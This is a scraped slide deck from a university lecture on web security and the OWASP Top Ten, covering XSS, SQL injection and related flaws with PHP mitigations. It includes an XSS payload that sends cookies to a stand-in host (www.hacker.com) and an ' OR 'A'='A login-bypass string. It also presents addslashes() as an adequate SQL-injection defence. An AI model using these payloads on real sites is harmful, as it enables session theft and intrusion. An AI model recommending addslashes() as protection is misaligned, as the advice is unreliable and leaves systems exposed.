WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.

Slides:



Advertisements
Similar presentations
Webgoat.
Advertisements

Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
OWASP Web Vulnerabilities and Auditing
Don’t get Stung (An introduction to the OWASP Top Ten Project) Barry Dorrans Microsoft Information Security Tools NEW AND IMPROVED!
SEC835 OWASP Top Ten Project.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Web Application Security Vulnerabilities Yen-Cheng Chen Department of Information Management National Chi Nan University Puli, 545 Nantou, Taiwan
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Introduction to Web Application Security
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
Injection Attacks by Example SQL Injection and XSS Adam Forsythe Thomas Hollingsworth.
The 10 Most Critical Web Application Security Vulnerabilities
Designing Security In Web Applications Andrew Tomkowiak 10/8/2013 UW-Platteville Software Engineering Department
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Web Application Security
Martin Kruliš by Martin Kruliš (v1.0)1.
Workshop 3 Web Application Security Li Weichao March
Web Security Overview Lohika ASC team 2009
OWASP Zed Attack Proxy Project Lead
Security.NET Chapter 1. How Do Attacks Occur? Stages of attack Examples of attacker actions 1. FootprintRuns a port scan on the firewall 2. PenetrationExploits.
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
The OWASP Way Understanding the OWASP Vision and the Top Ten.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
Ryan Dewhurst - 20th March 2012 Web Application (PHP) Security.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
August 1, The Software Security Problem August 1, 2006.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
WWW 安全 國立暨南國際大學 資訊管理學系 陳彥錚. WWW 安全 Web security is important for E-Commerce. Previous studies: –SSL –SET –Web server security Application-level security.
The attacks ● XSS – type 1: non-persistent – type 2: persistent – Advanced: other keywords (, prompt()) or other technologies such as Flash.
APPLICATION PENETRATION TESTING Author: Herbert H. Thompson Presentation by: Nancy Cohen.
Input Validation – common associated risks  ______________ user input controls SQL statements ultimately executed by a database server
nd Joint Workshop between Security Research Labs in JAPAN and KOREA Marking Scheme for Semantic- aware Web Application Security HPC.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
OWASP Building Secure Web Applications And the OWASP top 10 vulnerabilities.
Copyright © The OWASP Foundation This work is available under the Creative Commons SA 2.5 license The OWASP Foundation OWASP Denver February 2012.
Example – SQL Injection MySQL & PHP code: // The next instruction prompts the user is to supply an ID $personID = getIDstringFromUser(); $sqlQuery = "SELECT.
Defending Applications Against Command Insertion Attacks Penn State Web Conference 2003 Arthur C. Jones June 18, 2003.
The OWASP Foundation Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under.
Do not try any of the techniques discussed in this presentation on a system you do not own. It is illegal and you will get caught.
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
SECURE DEVELOPMENT. SEI CERT TOP 10 SECURE CODING PRACTICES Validate input Use strict compiler settings and resolve warnings Architect and design for.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
COMP9321 Web Application Engineering Semester 2, 2017
Building Secure ColdFusion Applications
Web Application Vulnerabilities
An Introduction to Web Application Security
Brad Glisson and Ray Welland Department of Computing Science
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Securing Your Web Application in Azure with a WAF
TOPIC: Web Security (Part-4)
World Wide Web policy.
Example – SQL Injection
What is REST API ? A REST (Representational State Transfer) Server simply provides access to resources and the REST client accesses and presents the.
A Security Review Process for Existing Software Applications
Security mechanisms and vulnerabilities in .NET
Marking Scheme for Semantic-aware Web Application Security
امنیت نرم‌افزارهای وب تقديم به پيشگاه مقدس امام عصر (عج) عباس نادری
CSC 495/583 Topics of Software Security Intro to Web Security
Presentation transcript:

WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚

WWW安全 Web security is important for E-Commerce. Previous studies: SSL SET Web server security Application-level security Web applications mistakenly trust data returned from a client.

OWASP Open Web Application Security Project (OWASP) https://www.owasp.org/index.php/Main_Page http://www.owasp.org/index.php/Taiwan

十大Web資安漏洞列表 (2007) A1.跨站腳本攻擊 (Cross Site Scripting,簡稱XSS) A2. 注入缺失(Injection Flaw):SQL Injection與Command Injection A3. 惡意檔案執行(Malicious File Execution) A4. 不安全的物件參考(Insecure Direct Object Reference) A5. 跨網站的偽造要求 (Cross-Site Request Forgery,簡稱CSRF) A6. 資訊揭露與不適當錯誤 A7. 遭破壞的鑑別與連線管理 A8. 不安全的密碼儲存器 A9. 不安全的通訊(Insecure Communication) A10. 疏於限制URL存取(Failure to Restrict URL Access) 資料來源: OWASP台灣分會 OWASP: Open Web Application Security Project

http://owasptop10. googlecode. com/files/OWASP%20Top%2010%20-%202013 http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf

The Ten Most Critical Web Application Security Vulnerabilities Unvalidated Parameters Broken Access Control Broken Account and Session Management Cross-Site Scripting (XSS) Buffer Overflows Command Injection Flaws Error Handling Problems Insecure Use of Cryptography Remote Administration Flaws Web and Application Server Misconfiguration

(1). Unvalidated Parameters Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack background components through a web application.

(2). Broken Access Control Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions. http://www.citibank.com/print.asp?id=u1257

(3). Broken Account and Session Management Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.

(4). Cross-Site Scripting (XSS) The web application can be used as a mechanism to transport an attack to an end user's browser. A successful attack can disclose the end user's session token, attack the local machine, or spoof content to fool the user.

XSS Example ~留言版~ <script> window.location="http://www.hacker.com/steal.cgi?ck="+document.cookie; </script>

XSS Web Application Hijack Scenario www.hacker.com

使用htmlspecialchars() 防範XSS $postText=$_POST['comments']; echo htmlspecialchars($potText, ENT_QUOTES); 不允許輸入HTML形式的相關資料 <  < >  > http://php.net/manual/en/function.htmlspecialchars.php

XSS Prevention Rules RULE 0 - Never Insert Untrusted Data Except in Allowed Locations RULE 1 - HTML Escape Before Inserting Untrusted Data into HTML Element Content RULE 2 - Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes RULE 3 - JavaScript Escape Before Inserting Untrusted Data into JavaScript Data Values RULE 3.1 - HTML escape JSON values in an HTML context and read the data with JSON.parse RULE 4 - CSS Escape And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values RULE 5 - URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values RULE 6 - Sanitize HTML Markup with a Library Designed for the Job RULE 7 - Prevent DOM-based XSS https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

(5). Buffer Overflows Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and web application server components.

(6). Command Injection Flaws Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.

SQL Injection SQLQuery = “SELECT  FROM Users WHERE (UserName='” + strUN + “') AND (Password='” + strPW + “');”  User name “fredchen”, password “199msq” : SELECT  FROM Users WHERE (UserName='fredchen') AND (Password='199msq');  SQL Injection: User name/Password : ' OR 'A'='A SELECT  FROM Users WHERE (UserName='' OR 'A'='A') AND (Password='' OR 'A'='A');

Input Validation

使用addslashes()避免SQL Injection $uid = $_POST['uid']; $pwd = $_POST['pwd']; $sql_query = "SELECT * FROM `users` WHERE `username`='".$uid."' AND `password`='".$pwd."';"; $uid = addslashes($_POST['uid']); $pwd = addslashes($_POST['pwd']); $sql_query = "SELECT * FROM `users` WHERE `username`='".$uid."' AND `password`='".$pwd."';"; '  \' "  \"

使用regular expression限制輸入字元 if (preg_match('/[^A-Za-z0-9_]/', $_POST['uid']) ) die('使用者名稱輸入錯誤!'); $uid = $_POST['uid']; … * 只允許輸入 英文文數字

(7). Error Handling Problems Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.

(8). Insecure Use of Cryptography Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection. E.g. MD5(CreditCardNum, RandomNum)

(9). Remote Administration Flaws Many web applications allow administrators to access the site using a web interface. If these administrative functions are not very carefully protected, an attacker can gain full access to all aspects of a site.

(10). Web and Application Server Misconfiguration Having a strong server configuration standard is critical to a secure web application. These servers have many configuration options that affect security and are not secure out of the box.